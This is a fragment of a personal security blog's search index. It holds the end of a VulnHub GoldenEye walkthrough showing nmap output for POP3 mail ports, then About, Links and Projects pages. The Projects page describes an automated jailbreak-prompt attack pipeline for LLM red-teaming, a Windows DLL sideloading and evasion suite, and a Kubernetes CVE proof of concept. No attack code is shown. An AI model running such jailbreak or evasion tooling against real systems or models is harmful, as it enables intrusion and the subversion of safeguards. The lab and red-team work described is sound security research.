((Ubuntu))\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e| http-methods: \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e|_  Supported Methods: GET HEAD POST OPTIONS\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e|_http-server-header: Apache/2.4.7 (Ubuntu)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e|_http-title: GoldenEye Primary Admin Server\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# 55006/tcp open  ssl/pop3 Dovecot pop3d\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e|_pop3-capabilities: RESP-CODES TOP CAPA AUTH-RESP-CODE SASL(PLAIN) USER PIPELINING UIDL\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e| Issuer: commonName=localhost/organizationName=Dovecot mail server\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e| Public Key type: rsa\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e| Public Key bits: 2048\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e| Signature Algorithm: sha256WithRSAEncryption\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e| Not valid before: 2018-04-24T03:23:52\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e| Not valid after:  2028-04-23T03:23:52\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e| MD5:   d039 2e71 c76a 2cb3 e694 ec40 7228 ec63\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e|_SHA-1: 9d6a 92eb 5f9f e9ba 6cbd dc93 55fa 5754 219b 0b77\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e|_ssl-date: TLS randomness does not represent time\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# 55007/tcp open  pop3     Dovecot pop3d\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e|_pop3-capabilities: RESP-CODES SASL(PLAIN) TOP PIPELINING STLS CAPA AUTH-RESP-CODE USER UIDL\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e| Issuer: commonName=localhost/organizationName=Dovecot mail server\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e| Public Key type: rsa\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e| Public Key bits: 2048\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e| Signature Algorithm: sha256WithRSAEncryption\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e| Not valid before: 2018-04-24T03:23:52\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e| Not valid after:  2028-04-23T03:23:52\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e| MD5:   d039 2e71 c76a 2cb3 e694 ec40 7228 ec63\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e|_SHA-1: 9d6a 92eb 5f9f e9ba 6cbd dc93 55fa 5754 219b 0b77\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e|_ssl-date: TLS randomness does not represent time\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eTwo ports were discovered; I tried logging in via SMTP on port 25, but it failed.\u003c/p\u003e","title":"VulnHub GoldenEye Walkthrough Notes"},{"content":"What I Do I\u0026rsquo;m @Unc1e. I work in network security, and I also write about engineering practice, work, and life.\nThis site keeps the articles I\u0026rsquo;ve published publicly and the projects I\u0026rsquo;ve built. Yuque is my pocket notebook; this site is a portable, long-lasting copy.\nWriting Principles Steven N.S. Cheung: In any discipline, I value the fundamentals.\nLi Xiaolai: Coding may seem to have a high barrier at first, but that\u0026rsquo;s an illusion — plenty of things are far harder to get into. What\u0026rsquo;s worth writing in code is creation, or at least an effective solution to a meaningful problem; what\u0026rsquo;s worth writing in words is thought. In the end, it\u0026rsquo;s just the most basic tool — thinking ability is what counts.\nHerbert A. Simon: \u0026ldquo;Best\u0026rdquo; is the enemy of good.\nTwo Copies of the Content Yuque is the daily source of truth for my writing. This site is the public, portable, long-term Hugo copy, and also presents my intro, opinions, projects, and work. Elsewhere Links ","permalink":"https://www.unc.la/en/about/","summary":"\u003ch2 id=\"what-i-do\"\u003eWhat I Do\u003c/h2\u003e\n\u003cp\u003eI\u0026rsquo;m @Unc1e. I work in network security, and I also write about engineering practice, work, and life.\u003c/p\u003e\n\u003cp\u003eThis site keeps the articles I\u0026rsquo;ve published publicly and the projects I\u0026rsquo;ve built. Yuque is my pocket notebook; this site is a portable, long-lasting copy.\u003c/p\u003e\n\u003ch2 id=\"writing-principles\"\u003eWriting Principles\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eSteven N.S. Cheung: In any discipline, I value the fundamentals.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eLi Xiaolai: Coding may seem to have a high barrier at first, but that\u0026rsquo;s an illusion — plenty of things are far harder to get into. What\u0026rsquo;s worth writing in code is creation, or at least an effective solution to a meaningful problem; what\u0026rsquo;s worth writing in words is thought. In the end, it\u0026rsquo;s just the most basic tool — thinking ability is what counts.\u003c/p\u003e","title":"About"},{"content":"In no particular order.\nPayloads Online China BaiKe Union CD\u0026rsquo;s one more night 0x401 Team ","permalink":"https://www.unc.la/en/links/","summary":"\u003cp\u003eIn no particular order.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://payloads.online/\"\u003ePayloads Online\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://chinabaiker.com/\"\u003eChina BaiKe Union\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://cdxiaodong.github.io/\"\u003eCD\u0026rsquo;s one more night\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.0x401.com/\"\u003e0x401 Team\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e","title":"Links"},{"content":"Writing \u0026amp; Experiments Project Description URL BuildBuffer A wealth \u0026amp; risk journal from an engineer\u0026rsquo;s view: cash flow, security, and the second growth curve buildbuffer.com Programming Projects Only public repositories that still represent my current technical direction.\nAI SECURITYPYTHON · LANGGRAPH Auto_JB_APE Orchestrates Planner, Player, Executor, and Checker with LangGraph to automatically generate, concurrently execute, and iteratively attack prompts — for authorized LLM red-team testing.\nView source ↗ RED TEAMRUST · WINDOWS DLL Sideloading \u0026amp; Evasion Suite A set of Rust-based Windows DLL sideloading and in-memory evasion experiments, covering export forwarding, module stomping, build-time encryption, and automated builds.\nView source ↗ VULNERABILITY RESEARCHPYTHON · KUBERNETES CVE-2025-1974 PoC Verification code for IngressNightmare, refined on top of public research with local port-forwarding, parameterized exploitation, and reproduction examples.\nView source ↗ PROTOCOL ENGINEERINGGO · ICMP icmp-transfer Wraps file chunks into ICMP packets, with sessions, ACK, retransmission, and CRC checks — works on Windows, Linux, and macOS.\nView source ↗ INFRASTRUCTURESHELL · DOCKER qiniu-auto-cert Packages ACME requests, DNS validation, certificate upload, and renewal checks into a Docker service — unattended certificate maintenance for Qiniu CDN.\nView source ↗ See all public repositories →\nFrequently Used Tools Name Description URL Excalidraw Hand-drawn diagrams d.unc1e.com CyberChef The cyber security Swiss army knife x.unc1e.com ","permalink":"https://www.unc.la/en/projects/","summary":"\u003ch2 id=\"writing--experiments\"\u003eWriting \u0026amp; Experiments\u003c/h2\u003e\n\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth\u003eProject\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eDescription\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eURL\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eBuildBuffer\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eA wealth \u0026amp; risk journal from an engineer\u0026rsquo;s view: cash flow, security, and the second growth curve\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ca href=\"https://buildbuffer.com/\"\u003ebuildbuffer.com\u003c/a\u003e\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"programming-projects\"\u003eProgramming Projects\u003c/h2\u003e\n\u003cp\u003eOnly public repositories that still represent my current technical direction.\u003c/p\u003e\n\u003cdiv class=\"project-index\"\u003e\n  \u003carticle class=\"project-index-item\"\u003e\n    \u003cdiv class=\"project-index-meta\"\u003e\u003cspan\u003eAI SECURITY\u003c/span\u003e\u003cspan\u003ePYTHON · LANGGRAPH\u003c/span\u003e\u003c/div\u003e\n    \u003ch3\u003e\u003ca href=\"https://github.com/hi-unc1e/Auto_JB_APE\" rel=\"noopener\"\u003eAuto_JB_APE\u003c/a\u003e\u003c/h3\u003e\n    \u003cp\u003eOrchestrates Planner, Player, Executor, and Checker with LangGraph to automatically generate, concurrently execute, and iteratively attack prompts — for authorized LLM red-team testing.\u003c/p\u003e\n    \u003ca class=\"project-index-link\" href=\"https://github.com/hi-unc1e/Auto_JB_APE\" rel=\"noopener\"\u003eView source \u003cspan aria-hidden=\"true\"\u003e↗\u003c/span\u003e\u003c/a\u003e\n  \u003c/article\u003e\n  \u003carticle class=\"project-index-item\"\u003e\n    \u003cdiv class=\"project-index-meta\"\u003e\u003cspan\u003eRED TEAM\u003c/span\u003e\u003cspan\u003eRUST · WINDOWS\u003c/span\u003e\u003c/div\u003e\n    \u003ch3\u003e\u003ca href=\"https://github.com/hi-unc1e/ds\" rel=\"noopener\"\u003eDLL Sideloading \u0026amp; Evasion Suite\u003c/a\u003e\u003c/h3\u003e\n    \u003cp\u003eA set of Rust-based Windows DLL sideloading and in-memory evasion experiments, covering export forwarding, module stomping, build-time encryption, and automated builds.\u003c/p\u003e","title":"Projects"}]